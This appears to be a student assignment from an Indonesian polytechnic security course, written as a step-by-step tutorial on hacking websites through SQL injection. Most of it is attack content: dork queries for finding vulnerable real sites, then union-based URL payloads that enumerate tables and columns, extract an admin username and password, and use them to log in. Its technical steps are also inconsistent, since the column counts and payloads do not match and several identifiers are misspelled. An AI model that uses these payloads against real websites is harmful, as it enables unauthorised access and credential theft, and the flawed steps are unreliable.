TUGAS

KEAMANAN SISTEM KOMPUTER

PRAKTIKUM SQL INJECTION

(Hack Website Dengan Menggunakan Tekni SQL Injection)

DISUSUN OLEH :
EMBUN VENTANI
1061910

JURUSAN TEKNIK ELEKTRO DAN INFORMATIKA

PRODI TEKNOLOGI REKAYASA PERANGKAT LUNAK
POLITEKNIK MANUFAKTUR NEGERI
BANGKA BELITUNG
2022
 TUTORIAL SQL INJECTION

SQL Injection merupakan salah satu cyber crime yang menjadi ancaman seriun keamanan
sebuah website, sql injection sendiri merupakan sebuah Langkah injeksi kode terhadap
celah keamanan database. Injeksi kode yang dilakukanya membuat mereka dapat masuk
tanpa proses otentifikasi. Kemudian setelah berhasil, hacker bebas untuk menambahkan,
menghapuus atau bebas mengubah data pada website yang menjadi tujuan.

Serangan SQL injection ini dapat menarget website apapun yang menggunakan SQL
database, seperti MySQL, Oracle, SQL Server, dan sebagainya. Umumnya, SQL injection
terjadi ketika pengelola website tidak memasang firewall atau sistem keamanan lainnya.

Ada beberapa langkah yang harus dilakukan jika ingin hack website menggunakan SQL
Injection:

1. Pilih target hack yang ingin di hack, seperti daftar berikut:

- inurl:iniziativa.php?in=
- inurl:curriculum.php?id=
- inurl:labels.php?id=
- inurl:story.php?id=
- inurl:look.php?ID=
- inurl:newsone.php?id=
- inurl:aboutbook.php?id=inurl:material.php?id=
- inurl:opinions.php?id=
- inurl:announce.php?id=

Sebagai contoh, Anda bisa memilih target hack seperti di bawah ini:

https://www.sebagaicontohh.com/news.php?
id=50
2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-”
untuk melihat apakah ada pesan error.
 Misal :

https://www.sebagaicontohh.com/news.php?
id=50
Menjadi :

https://www.sebagaicontohh.com/news.php?id=-50
3. Selanjutnya akan muncul pesan eror, seperti:
“You have an error in your SQL syntax.You have an error in your SQL
syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near ”’ at line 1″
4. Cari dan hiyung jumlah table yang ada di dalam database menggunakan
perintanh “order by”
Missal:

https://www.sebagaicontohh.com/news.php?
id=50+order+by+1/*

Tanda bintang “*” pada url diatas merupakan karakter penutup perintah
SQL atau bisa juga menggunakan tanda “-“ sedangkan tanda “+”
merupakan penghubung perintah.
5. Selanjutnya URL tersebut diuji untuk melihat apakah terdapat pesan
error. Missal:
V
https://www.sebagaicontohh.com/news.php?
V
id=50+order+by+1/*
X
https://www.sebagaicontohh.com/news.php?
X
id=50+order+by+2/*
https://www.sebagaicontohh.com/news.php?
id=50+order+by+3/*
https://www.sebagaicontohh.com/news.php?
 id=50+order+by+4/*

Pesan error terdapat di nomor 3. Maka yang digunakan adalah nomor 2,

yaitu:
https://www.sebagaicontohh.com/news.php?id=50+order+by+2/*
6. Untuk mengetahui berapa angka yang slow maka kita gunakan UNION
Misal:

https://www.sebagaicontohh.com/news.php?
id=50+union+select+1,2,3,4/*

7. Perhatikan angka yang keluar, apabila angka yang keluar “3” maka yang
kita lakukan adalah menecek berapa versi MySQL-nya. Dengan
menggunakan perintah “version()” atau “@@version”.
Missal :

https://www.sebagaicontohh.com/news.php?
id=50+union+select+1,2,version(),4,5,6,7,8,9/*

Atau :

https://www.sebagaicontohh.com/news.php?
id=50+union+select+1,2,@@version,4,5,6,7,8,9/*
8. Sedangkan apabila yang keluar angka “5” maka kitab isa langsung
menggunakan printah “information_schema” untuk melihat table serta
kolom yang ada di database.
Misal:

https://www.sebagaicontohh.com/news.php?
id=50+union+select+1,2,table_name,4,5,6,7,8,9+from+informa
 tion_schema.table
9. Untuk melihat table-table lain adalah dengan cara mengganti kata
“table” menjadi “column”
Misal :

https://www.sebagaicontohh.com/news.php?
id=50+union+select+1,2,column_name,4,5,6,7,8,9+from+infor
mation_schema.colums
10. Apabila yang keluar adalah password dan username dari website, maka
Langkah selanjutnya adalah lihat isinya.
Misal:

https://www.sebagaicontohh.com/news.php?
id=50+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
Dan :

https://www.sebagaicontohh.com/news.php?
id=50+union+select+1,password,table_name,3,
4,5,6,7,8,9+from+admin/*
Sekarang Username dan Password bisa digunakan untuk login ke
website yang dituju.